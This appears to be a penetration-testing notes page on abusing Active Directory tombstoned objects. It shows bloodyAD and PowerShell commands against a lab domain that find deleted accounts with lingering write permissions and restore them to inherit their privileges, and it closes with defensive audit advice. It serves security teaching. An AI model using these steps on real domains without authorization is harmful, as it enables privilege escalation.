> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/deleted-ad-objects-and-acl-persistence.md).

# Deleted AD Objects & ACL Persistence

### What is AD Soft Deletion (Tombstoning)?

When you delete an AD account, it isn't immediately removed from the database. Instead it becomes a **tombstone,** a stripped-down object stored in the `Deleted Objects` container. By default tombstones persist for 180 days before being permanently purged.

The important detail: **ACL entries on the object are preserved** even after deletion.

### Why Deleted Objects Are Dangerous ?

If user A had `GenericAll` or `WRITE` over user B before B was deleted, user A **still has that permission** over the tombstoned object. This means user A can restore B, inheriting whatever group memberships and privileges B originally had.

### Finding Deleted Objects with Write Access

```bash
# bloodyAD — shows all writable objects including deleted ones
bloodyAD --host dc01.domain.htb -d domain.htb \
  -u alex.turner -p 'password' get writable

# Output to look for:
# distinguishedName: CN=Mark Davies\0ADEL:...,CN=Deleted Objects,...
# permission: WRITE
```

```powershell
# PowerShell — enumerate deleted objects
Get-ADObject -Filter * -IncludeDeletedObjects -SearchBase "CN=Deleted Objects,DC=domain,DC=htb"

# Check ACL on a deleted object
Get-ADObject -Filter {Name -eq "mark.davies"} -IncludeDeletedObjects | Get-ACL
```

### Restoring a Deleted Account

```bash
# bloodyAD (one command)
bloodyAD --host dc01.domain.htb -d domain.htb \
  -u alex.turner -p 'password' set restore mark.davies

# PowerShell
Restore-ADObject -Identity "<GUID of deleted object>"
```

After restoration the account returns to its original OU with its original group memberships — including any share permissions or ACL rights it held before deletion.

### Defence

* After deleting accounts, explicitly strip non-default ACEs from the tombstoned object
* Audit Deleted Objects container regularly for lingering write permissions
* Monitor Event ID **4742** (account changes) and **4722** (account enabled) for unexpected account restorations
* Use `Get-ADObject -IncludeDeletedObjects | Get-ACL` in periodic audits